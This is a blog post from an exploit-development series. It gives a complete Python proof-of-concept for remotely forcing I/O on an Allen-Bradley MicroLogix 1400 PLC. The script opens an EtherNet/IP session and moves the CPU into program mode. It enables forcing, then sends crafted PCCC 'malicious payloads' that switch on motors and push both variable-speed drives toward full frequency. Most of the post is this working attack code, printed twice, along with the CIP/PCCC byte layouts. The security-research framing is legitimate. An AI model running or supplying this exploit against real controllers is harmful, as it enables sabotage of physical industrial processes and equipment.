Welcome to the thrilling debut of our “Exploit Development” series! Buckle up for “Attacking PLCs with Analog Input Forcing” – a title that’s as vibrant as the adventure we’re about to undertake!
Ever wondered how to take control of PLCs and manipulate those Analog inputs like a pro? You’re in for a treat! This guide will unlock the secrets of exploiting PLC systems, blending a dash of digital mischief with a solid dose of vulnerability analysis and proof-of-concept (PoC).
Get ready for an exciting journey where we turn theory into practice and make PLC security feel like an exhilarating game of digital dodgeball. Whether you’re a seasoned pro or just here for the tech thrills, prepare to dive deep into the world of PLC exploits—with some laughs and surprises along the way!
Analog vs. Digital: The Basics
Since you’re a tech wizard, I’ll skip the long-winded lecture on what analog and digital mean. But just in case you’ve been living under a rock, analog is all about smooth, continuous signals (like your favorite radio station volume adjustment).
while digital deals in discrete chunks of data (think of a digital clock stubbornly sticking to exact times).
Objective
In this blog post, “ Analog input Forcing “ we aim to provide a comprehensive guide on developing and implementing a Python exploit to force Analog inputs on PLCs. We will cover several key phases:.
In our PLC setup, we have two Variable Speed Drives (VSDs):
- VSD1 is mapped to
O:4.3
and controlled byN7.5
.- VSD2 is mapped to
O:5.0
and controlled byN7.11
.The frequency range for these VSDs spans from 6271 to 31207 in decimal, which corresponds to 0 to 50 Hz. VSD1 controls motor-1 (connected to
O:0.0
), and VSD2 controls motor-2 (connected toO:0.1
).
For context, Digital Input & Digital Output forcing are thoroughly explored in Exploit Development # 1 : and Exploit Development # 2.
In this post, we will go though remotely control the frequency of VSD to control the speed of motor by forcing Analog input.
- Vulnerability Analysis: We start with an overview of the PLC systems and the specific vulnerability related to forcing. We analyze the PLC’s security weaknesses exposed by our exploit, highlighting potential risks and impacts.
- Exploit Development: We delve into crafting a Python script designed to exploit this vulnerability, including detailed explanations of the code and its functions.
- Real-World Application: Using real PLC hardware, we demonstrate the exploit in action and discuss its practical implications.
- Hack-the-Box PoC: Finally, we tie it all together with a Hack-the-Box approach, proof of concept (PoC), how this exploit fits into a broader cybersecurity framework.
By the end of this post, you’ll have a solid understanding of how to develop, test, and analyze a PLC exploit, enriched with practical insights and hands-on experience
MicroLogix 1400 PLC: Device under test (DUT)
The MicroLogix 1400 PLC by Rockwell Automation’s Allen-Bradley is vital in many industries. Disruptions to its operation or configuration can lead to severe consequences, including halting critical processes and causing significant equipment damage.
Identified Vulnerability: Remote Forcing PLCs
The PLC’s forcing feature is used to manually enable or disable inputs and outputs, which is valuable for troubleshooting. For example, if a pump isn’t working due to a faulty sensor, forcing the pump to stay on can temporarily resolve the issue.
However, this feature can also be exploited maliciously. Attackers can remotely manipulate these forces to disrupt operations or gain unauthorized control. This vulnerability.
Confused? 🤔 Check Out These Phases for a Step-by-Step Guide!
Feeling a bit lost in the technical jungle of hex code? No worries! If you’re getting stuck in this phase, take a step back and check out our earlier explorations:
- Phase 1: Basic Network Discovery – – – – – – – – – –> [Explore Phase 1 ]
- Phase 2: MITM Attack and Protocol Packet captuing – – – –> [Explore Phase 2 ]
- Phase 3: Packet Communication Protocol Analysis – – – – – – – – –> [Explore Phase 3 ]
- Phase 4: Deep Packet Inspection (DPI) – – – – – – – – – – – – –> [Explore Phase 4 ]
- Phase 5: Exploit Development – – – – – – – – – – – – – – – – – – – – – – – –> [Explore Phase 5 ]
Exploit Development: Forcing Analog inputs of PLC
Here’s a closer look at the Python script that powers our exploit. We’ll walk through its key components, so you know exactly what’s happening under the hood.
1. hexadecimal padding – pad_hex(hex_str, size)
Purpose: Ensures that your hexadecimal string is the right size by padding it with leading zeros. Think of it as giving your hexadecimal string a well-fitted jacket!
Details: This function takes a hexadecimal string (hex_str
) and ensures it matches the desired size (size
) by padding it with zeros.
1 2 3 4 5 6 7 |
# Pads the hexadecimal string with leading zeros to ensure it matches the desired size. def pad_hex(hex_str, size): return hex_str.zfill(size) |
2. Generation of Transaction Number : get_tns()
Purpose: Generates a unique transaction number for each command. It’s like giving your commands a unique name tag at a party—no confusion, just pure, unadulterated identity!
Details: This function creates a 4-byte hexadecimal string from a random integer, which is crucial for tracking commands.
1 2 3 4 5 6 7 8 |
# Generates a transaction number by converting a random integer to a 4-byte hexadecimal string. def get_tns(): return binascii.unhexlify(pad_hex(hex(random.randint(0, 65535))[2:], 4)) |
3. Create a Register session packet : Register_Session()
Purpose: Registers a session with the PLC, much like signing up for a new club. This function sends a registration command and retrieves a session handle.
Details: Constructs and sends a registration request to the PLC, then processes the response to get the session handle. This handle is essential for subsequent communication.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) |
Reference:[Explore Phase 4 🔍]
4. Build an ENIP packet : Build_Ethernet_instruction()
Purpose: Crafts the Ethernet instruction payload for the PLC. Think of this as assembling the perfect care package for your PLC—everything it needs in one neat little box.
Details: Builds a complete payload for sending instructions to the PLC, including encapsulation headers and PCCC command data. This function ensures the message is formatted correctly and includes all necessary information.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
# Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload |
Reference: build enip packet [Explore Phase 4 🔍].
5. Create a Function to send Packets: send_instruction()
Purpose: Sends an instruction to the PLC and waits for a response. This is your direct line to the PLC, like making a call and eagerly waiting for the answer.
Details: Uses the Build_Ethernet_instruction
function to construct the payload, sends it to the PLC, and then waits for and processes the response.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) print("\n\n PCCC Command Data : " + str(instruction_elements) + "\n\n Complete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '#' * 150) time.sleep(1) return return_response |
Referece : [Explore Phase 4 🔍]
6. Function to send Program routine packet : program_register()
Purpose: Programs the PLC by sending a series of instructions to change CPU modes, execute commands, and more. It’s like performing a detailed operation—one step at a time—to ensure everything is set up correctly.
Details: Sends a sequence of commands to the PLC to prepare it for accepting forced writes. This includes changing CPU modes, executing commands, and applying port configurations.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Programs the PLC by sending a series of instructions to change CPU mode, execute commands, get edit resources, and more. def program_register(session_handle): Change_CPU_mode = {"cmd":"\x0f","fnc":"\x80","data":"\x01"} # function code 0x80 is responsible to change CPU mode. data 0x01 is to change [Remote RUN -> Remote Prog] Execute_multiple_command = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\xf8\xa1\x01\x56"} # function 0x88 means Execute multiple command Get_edit_resource = {"cmd":"\x0f","fnc":"\x11","data":""} # Function code 0x11 to Get the edit resource of PLC Force_enable_present = {"cmd":"\x0f","fnc":"\xaa","data":"\x02\x02\x84\x01\x00\x66\x00"} # Function code 0xAA for logical write.Data 0x66 is used to Force_enable and Force_install Download_completed = {"cmd":"\x0f","fnc":"\x52","data":""} # Function code 0x52 tell the PLC that data downloanload completed. Apply_port_config = {"cmd":"\x0f","fnc":"\x8f","data":"\x00\x00\x00"} # Function code 0x8f for Applying port configuration Return_edit_resource = {"cmd":"\x0f","fnc":"\x12","data":""} # Function code 0x12 is used to return the edit resource. # Send instructions to the PLC print "\n\nChanging PLC CPU to RUN mode :" send_instruction(Change_CPU_mode, session_handle) # Changing CPU to REMOTE PROG print "\n\nExecuting multiple command :" send_instruction(Execute_multiple_command, session_handle) # Executing Multiple commands and PLC in Download mode print "\n\n Geting edit resourceof PLC :" send_instruction(Get_edit_resource, session_handle) # Getting Edit resource of PLC print "\n\n Activating Force enable & present:" send_instruction(Force_enable_present, session_handle) # Enabling & Installing Force bit print "\n\nSending Download completed response:" send_instruction(Download_completed, session_handle) # Download complete packet print "\n\nApplying port config :" send_instruction(Apply_port_config, session_handle) # Applying Port Configuration print "\n\nReturning edit resource of PLC:" send_instruction(Return_edit_resource, session_handle) # Returning Edit resouces after Download completed |
After Sending above 7 CIP-PCCC packet to PLC, Our PLC is ready to accept Force Write to ANy register address.
Reference: program routine section [Explore Phase 4 🔍] .
7. Setting Up the Connection
- PLC: Stores the IP address
192.168.0.102
. - PORT: Typically Port 44818 for EtherNet/IP ML1400 PLC communication.
- socket.socket: Creates an IPv4 socket object for connecting to the PLC.
- sock.connect(): Establishes a connection to the PLC using the specified IP address and port.
1 2 3 4 5 6 7 8 9 10 11 12 |
PLC = '192.168.0.102' PORT = 44818 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((PLC, PORT)) session_handle = Register_Session() program_register(session_handle) |
8. Crafting a Malicious Payload: Forcing Analog inputs
Alright, folks, buckle up! We’re about to take a detour from the official playbook.
The standard protocol says, “Stick to the approved function codes and file types, or face the wrath of unpredictable results.” But where’s the fun in that?
We’re about to break the rules a bit. While the official guide would have us use safe, predictable codes, we’re throwing caution to the wind with some unconventional choices:
Function Code 0xAB for a three-field write
File Type 0xA1 for output operations
File Type 0xA2 for input operations
File Type 0x07 for Integer Operation
[Explore Phase 4 🔍] : Important Findings: section
Why stick to the mundane when we can spice things up? Following the official guidelines might get us a nice, neat, predictable operation—but that’s not what we’re here for.
We’re diving headfirst into exploit development, and that means shaking things up and seeing what magic (or black magic) we can create. Get ready for a wild ride!
If you’re scratching your head wondering why we’re using these codes, just take a peek at Phase 4 for the backstory. Trust me, it’ll all make sense!
Element Number: This is also known as the Register Number. It specifies the register’s position and is represented as a (1 bytes). The value of this element indicates the specific register:
x00 corresponds to I:0.0 or O:0.0
or N7:0x01 corresponds to I:0.1 or O:0.1 or N7:1 and so on.
Sub-Element: Determines the offset from the base address in the register. It specifies how many bytes to skip before selecting the specific bit or part of the register.
- 1st Address Field: Selects the bit number within the register. For example, [ff ff] selects the entire register for the Element Number (e.g., I:0.0).
- 2nd Address Field: Makes the bit position editable. For example, [ff ff] make entire reg. editable.
- 3rd Address Field: Specifies the data to be written at the selected bit position. For example, [ff ff] edit the entire register with (1111 1111 1111 1111) // Force ON
This is the reason it called a “logical write” with a 3-address field, ensuring data is written precisely to the desired bit location.
That’s Why we are using same data 3-time
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
#Building Force PCCC Data Force_BYTE_SIZE = "\x04" Force_File_Number = "\x00" # OUTPUT FIle Number Force_File_Type = "\xA1" # OUTPUT Forcing operations Force_Element_Number = "\x00" Force_Sub_element_Number = "\x00" Force_DATA1 = "\x03\x00\x03\x00\x03\x00" Force_PCCC_Data1 = "%s%s%s%s%s%s" % (Force_BYTE_SIZE , Force_File_Number , Force_File_Type , Force_Element_Number, Force_Sub_element_Number, Force_DATA1 ) #Malicious Payload to turn on both motor connected through VSD Malicious_Payload_Force_DO = {"cmd":"\x0f","fnc":"\xab","data": Force_PCCC_Data1} #VSD 1 Force_BYTE_SIZE = "\x04" Force_File_Number = "\x00" Force_File_Type = "\xA1" Force_Element_Number = "\x09" Force_Sub_element_Number = "\x00" Force_DATA2 = "\xff\x3f\xff\x3f\xff\x3f" Force_PCCC_Data2 = "%s%s%s%s%s%s" % (Force_BYTE_SIZE , Force_File_Number , Force_File_Type , Force_Element_Number, Force_Sub_element_Number, Force_DATA2 ) #Malicious Payload for VSD1 Malicious_Payload_Force_AI_1 = {"cmd":"\x0f","fnc":"\xab","data": Force_PCCC_Data2} #VSD 2 Force_BYTE_SIZE = "\x04" Force_File_Number = "\x00" Force_File_Type = "\xA1" Force_Element_Number = "\x0a" Force_Sub_element_Number = "\x00" Force_DATA3 = "\xff\x3f\xff\x3f\xff\x3f" Force_PCCC_Data3 = "%s%s%s%s%s%s" % (Force_BYTE_SIZE , Force_File_Number , Force_File_Type , Force_Element_Number, Force_Sub_element_Number, Force_DATA3 ) #Malicious Payload for VSD2 Malicious_Payload_Force_AI_2 = {"cmd":"\x0f","fnc":"\xab","data": Force_PCCC_Data3} print "\n\nExploting PLC by sending malicious PAYLOAD ......" send_instruction(Malicious_Payload_Force_DO, session_handle) send_instruction(Malicious_Payload_Force_AI_1, session_handle) send_instruction(Malicious_Payload_Force_AI_2, session_handle) # Change CPU mode back to REMOTE PROG -> REMOTE RUN print "\nChanging PLC CPU to RUN mode :" Change_CPU_mode = {"cmd":"\x0f","fnc":"\x80","data":"\x06"} send_instruction(Change_CPU_mode, session_handle) print "\n\n Attack completed successfully ............." # If we DONE. close the session. sock.close() |
We have changed PLC CPU mode REM PROG -> REM RUN before closing existing Register session by sock.close().
[Explore Phase 5 🔍]
Finally, we construct and send a malicious payload to force a Analog input. This is the moment of truth where our exploit comes to life!
Python POC for Malicious Payloads: Analog input Forcing on PLCs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 |
import socket import binascii import random import time # Pads the hexadecimal string with leading zeros to ensure it matches the desired size. def pad_hex(hex_str, size): return hex_str.zfill(size) # Generates a transaction number by converting a random integer to a 4-byte hexadecimal string. def get_tns(): return binascii.unhexlify(pad_hex(hex(random.randint(0, 65535))[2:], 4)) # Registers a session with the PLC by sending a registration command and retrieving the session handle. def Register_Session(): #Encapsulation Header Register_Session = "\x65\x00" Length = "\x04\x00" Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Protocol_Version = "\x01\x00" Option_Flags = "\x00\x00" register_session_data = "%s%s%s%s%s%s%s%s" % (Register_Session, Length, Session_Handle, Status, Sender_Context, Options, Protocol_Version, Option_Flags) # Create a Register session print "\nSending Register Session Request (Hex):" , binascii.hexlify(register_session_data).decode('utf-8') sock.send(register_session_data) reg_session_response = binascii.hexlify(sock.recv(28)) return binascii.unhexlify(reg_session_response[8:16]) # Builds an Ethernet instruction payload to be sent to the PLC. def Build_Ethernet_instruction(instruction_elements, session_handle): #Encapsulation Header Command_code = "\x6f\x00" #Length = here we call it Data_Length and it is calculate below Session_Handle = "\x00\x00\x00\x00" Status = "\x00\x00\x00\x00" Sender_Context = "\x00\x00\x00\x00\x00\x00\x00\x00" Options = "\x00\x00\x00\x00" #Command Specific Data Interface_Handle = "\x00\x00\x00\x00" Timeout = "\x00\x00" Item_Count = "\x02\x00" Type_ID_Address = "\x00\x00" Type_Length_Address = "\x00\x00" Type_ID_Data = "\xb2\x00" # Length = here we call it Type_ID_Data_Length and it is calculate below #Common Industrial Protocol Service = "\x4b" Request_Path_Size = "\x02" Request_Path = "\x20\x67\x24\x01" Requestor_ID = "\x07" CIP_Vendor_ID = "\x4d\x00" CIP_Serial_Number = "\x4b\x61\x65\x21" #PCCC Command Data PCCC_Command_code = instruction_elements['cmd'] PCCC_Status = "\x00" PCCC_Transaction = get_tns() PCCC_Function_Code = instruction_elements['fnc'] PCCC_Data = instruction_elements['data'] #Building PCCC packets PCCC_Command = "%s%s%s%s%s" % (PCCC_Command_code, PCCC_Status, PCCC_Transaction, PCCC_Function_Code, PCCC_Data) # Calculating combined length of multiple variables of Common Industrial Protocol (CIP) Type_ID_Data_Length = len(Service) + len(Request_Path_Size) + len(Request_Path) + len(Requestor_ID) + len(CIP_Vendor_ID) + len(CIP_Serial_Number) + len(PCCC_Command) #Calculating Encapsulation Header length # Convert the combined length plus 16(0x10) to a hexadecimal string, unhexlify it, and append a null byte Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length + 16)[2:]) # Convert the combined length to a hexadecimal string, unhexlify it, and append a null byte Type_ID_Data_Length = "%s\x00" % binascii.unhexlify(hex(Type_ID_Data_Length)[2:]) ######### Creating the payload payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (Command_code, Data_Length, Session_Handle, Status, Sender_Context, Options, Interface_Handle, Timeout, Item_Count, Type_ID_Address, Type_Length_Address, Type_ID_Data, Type_ID_Data_Length, Service, Request_Path_Size, Request_Path, Requestor_ID, CIP_Vendor_ID, CIP_Serial_Number, PCCC_Command) return payload # Sends a specific instruction to the PLC and returns the response. def send_instruction(instruction_elements,session_handle): return_response = "" instruction = Build_Ethernet_instruction(instruction_elements, session_handle) sock.send(instruction) return_response = sock.recv(1024) print("\n\n PCCC Command Data : " + str(instruction_elements) + "\n\n Complete CIP/PCCC packet : " + binascii.hexlify(instruction).decode('utf-8')) + ('\n\n' + '#' * 150) time.sleep(1) return return_response # Programs the PLC by sending a series of instructions to change CPU mode, execute commands, get edit resources, and more. def program_register(session_handle): Change_CPU_mode = {"cmd":"\x0f","fnc":"\x80","data":"\x01"} # function code 0x80 is responsible to change CPU mode. data 0x01 is to change [Remote RUN -> Remote Prog] Execute_multiple_command = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\xf8\xa1\x01\x56"} # function 0x88 means Execute multiple command Get_edit_resource = {"cmd":"\x0f","fnc":"\x11","data":""} # Function code 0x11 to Get the edit resource of PLC Force_enable_present = {"cmd":"\x0f","fnc":"\xaa","data":"\x02\x02\x84\x01\x00\x66\x00"} # Function code 0xAA for logical write.Data 0x66 is used to Force_enable and Force_install Download_completed = {"cmd":"\x0f","fnc":"\x52","data":""} # Function code 0x52 tell the PLC that data downloanload completed. Apply_port_config = {"cmd":"\x0f","fnc":"\x8f","data":"\x00\x00\x00"} # Function code 0x8f for Applying port configuration Return_edit_resource = {"cmd":"\x0f","fnc":"\x12","data":""} # Function code 0x12 is used to return the edit resource. # Send instructions to the PLC print "\n\nChanging PLC CPU to RUN mode :" send_instruction(Change_CPU_mode, session_handle) # Changing CPU to REMOTE PROG print "\n\nExecuting multiple command :" send_instruction(Execute_multiple_command, session_handle) # Executing Multiple commands and PLC in Download mode print "\n\n Geting edit resourceof PLC :" send_instruction(Get_edit_resource, session_handle) # Getting Edit resource of PLC print "\n\n Activating Force enable & present:" send_instruction(Force_enable_present, session_handle) # Enabling & Installing Force bit print "\n\nSending Download completed response:" send_instruction(Download_completed, session_handle) # Download complete packet print "\n\nApplying port config :" send_instruction(Apply_port_config, session_handle) # Applying Port Configuration print "\n\nReturning edit resource of PLC:" send_instruction(Return_edit_resource, session_handle) # Returning Edit resouces after Download completed # After Sending above 7 CIP-PCCC packet to PLC, Our PLC is ready to accept Force Write to ANy register address. PLC = '192.168.0.102' PORT = 44818 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((PLC, PORT)) session_handle = Register_Session() program_register(session_handle) #This methods can be used to write any data type, including Digital Input(DI) ,Digital Output (DO), Analog Input (AI), or Analog Output (AO). # We can send as much as command for defferent type of opration untill session close # Create a Force Payload to remotely force Digital Output (DI) at the 0th and 1st bit of a register in the PLC memory. """ Element Number: This is also known as the Register Number. It specifies the register's position and is represented as a WORD (2 bytes). The value of this element indicates the specific register: x00 corresponds to I:0.0 or O:0.0 x01 corresponds to I:0.1 or O:0.1 and so on. Sub-Element: Determines the offset from the base address in the register. It specifies how many bytes to skip before selecting the specific bit or part of the register. """ """ #1st Address Field: Selects the bit number within the register. For example, [ff ff] selects the entire register for the Element Number (e.g., I:0.0). #2nd Address Field: Makes the bit position editable. For example, [ff ff] make entire reg. editable. #3rd Address Field: Specifies the data to be written at the selected bit position. For example, [ff ff] edit the entire register with (1111 1111 1111 1111) // Force ON # This is the reasone it called a "logical write" with a 3-address field, ensuring data is written precisely to the desired bit location. """ """ Function Code 0xAB for a three-field write File Type 0xA1 for output operations File Type 0xA2 for input operations """ #Building Force PCCC Data Force_BYTE_SIZE = "\x04" Force_File_Number = "\x00" # OUTPUT FIle Number Force_File_Type = "\xA1" # OUTPUT Forcing operations Force_Element_Number = "\x00" Force_Sub_element_Number = "\x00" Force_DATA1 = "\x03\x00\x03\x00\x03\x00" Force_PCCC_Data1 = "%s%s%s%s%s%s" % (Force_BYTE_SIZE , Force_File_Number , Force_File_Type , Force_Element_Number, Force_Sub_element_Number, Force_DATA1 ) #Malicious Payload to turn on both motor connected through VSD Malicious_Payload_Force_DO = {"cmd":"\x0f","fnc":"\xab","data": Force_PCCC_Data1} #VSD 1 Force_BYTE_SIZE = "\x04" Force_File_Number = "\x00" Force_File_Type = "\xA1" Force_Element_Number = "\x09" Force_Sub_element_Number = "\x00" Force_DATA2 = "\xff\x3f\xff\x3f\xff\x3f" Force_PCCC_Data2 = "%s%s%s%s%s%s" % (Force_BYTE_SIZE , Force_File_Number , Force_File_Type , Force_Element_Number, Force_Sub_element_Number, Force_DATA2 ) #Malicious Payload for VSD1 Malicious_Payload_Force_AI_1 = {"cmd":"\x0f","fnc":"\xab","data": Force_PCCC_Data2} #VSD 2 Force_BYTE_SIZE = "\x04" Force_File_Number = "\x00" Force_File_Type = "\xA1" Force_Element_Number = "\x0a" Force_Sub_element_Number = "\x00" Force_DATA3 = "\xff\x3f\xff\x3f\xff\x3f" Force_PCCC_Data3 = "%s%s%s%s%s%s" % (Force_BYTE_SIZE , Force_File_Number , Force_File_Type , Force_Element_Number, Force_Sub_element_Number, Force_DATA3 ) #Malicious Payload for VSD2 Malicious_Payload_Force_AI_2 = {"cmd":"\x0f","fnc":"\xab","data": Force_PCCC_Data3} print "\n\nExploting PLC by sending malicious PAYLOAD ......" send_instruction(Malicious_Payload_Force_DO, session_handle) send_instruction(Malicious_Payload_Force_AI_1, session_handle) send_instruction(Malicious_Payload_Force_AI_2, session_handle) # Change CPU mode back to REMOTE PROG -> REMOTE RUN print "\nChanging PLC CPU to RUN mode :" Change_CPU_mode = {"cmd":"\x0f","fnc":"\x80","data":"\x06"} send_instruction(Change_CPU_mode, session_handle) print "\n\n Attack completed successfully ............." # If we DONE. close the session. sock.close() |
POC Demo: Hacking PLCs with Python
Ever wondered what happens when you mix Python with a PLC? No, it’s not a new programming language, but rather a gateway to some serious digital mischief! In this demo, we’ll show you how to use Python to craft a malicious payload that forces a PLC’s Analog input. Think of it as a hacker’s version of a magician’s trick – except instead of pulling rabbits out of hats
As shown in video, we are able to change the motor speed by forcing frequency of VSD.
Conclusion
And there you have it! Our Python script has successfully forced an Analog input on the PLC. This phase not only showcases the effectiveness of scripting in cybersecurity but also provides a hands-on example of exploiting PLC vulnerabilities.
Stay tuned for more adventures in PLC hacking. Next, we’ll delve into additional features and fine-tune our exploits. Until then, happy hacking!
<—Prev
Exploit # 2: Digital output Forcing
Next —->
Exploit # 4: Analog output forcing